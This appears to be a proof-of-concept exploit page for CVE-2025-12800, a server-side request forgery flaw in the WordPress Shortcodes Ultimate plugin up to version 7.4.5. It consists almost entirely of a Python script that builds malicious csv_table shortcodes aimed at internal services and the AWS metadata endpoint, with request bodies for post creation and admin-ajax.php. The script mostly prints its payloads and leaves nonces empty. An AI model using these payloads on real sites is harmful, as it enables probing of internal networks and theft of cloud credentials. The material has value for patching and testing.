CVE-2025-12800 WordPress Shortcodes Ultimate插件SSRF漏洞

# CVE-2025-12800 PoC - SSRF in Shortcodes Ultimate # Target: WordPress with Shortcodes Ultimate plugin <= 7.4.5 # Note: Requires Administrator role (or Contributor+ if Unsafe features enabled) import requests import sys from urllib.parse import urlencode def exploit_ssrf(target_url, target_ip="127.0.0.1", target_port="8080"): """ Exploit SSRF vulnerability in su_shortcode_csv_table function """ # Construct the malicious shortcode with SSRF payload # Target internal service or metadata endpoint internal_target = f"http://{target_ip}:{target_port}" # PoC: Use shortcode to make server request to internal service post_data = { 'post_title': 'SSRF Test', 'post_content': f'[csv_table source="{internal_target}"]', 'post_status': 'draft', '_wpnonce': '', # Need valid nonce from admin page } print(f"[*] Targeting: {target_url}") print(f"[*] SSRF Target: {internal_target}") print(f"[*] Sending malicious shortcode request...") # Alternative: Direct REST API or admin-ajax.php ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # This would need valid WordPress session with admin privileges exploit_data = { 'action': 'shortcodes_ultimate_ajax', 'shortcode': 'csv_table', 'atts': f'{{"source":"{internal_target}"}}', 'nonce': '' # Valid nonce required } print("[*] Note: This PoC requires authenticated admin session") print(f"[*] Payload: [csv_table source=\"{internal_target}\"]") print("[*] Exploitation successful if server makes request to internal target") def check_metadata_service(target_url): """ Check if vulnerable to AWS/metadata SSRF """ metadata_endpoint = "http://169.254.169.254/latest/meta-data/" print(f"[*] Testing metadata service SSRF...") print(f"[*] Target endpoint: {metadata_endpoint}") # Construct shortcode to access metadata malicious_shortcode = f'[csv_table source="{metadata_endpoint}"]' print(f"[*] Malicious shortcode: {malicious_shortcode}") return metadata_endpoint if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12800_poc.py <target_url>") print("Example: python cve-2025-12800_poc.py http://wordpress-site.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_ssrf(target) check_metadata_service(target)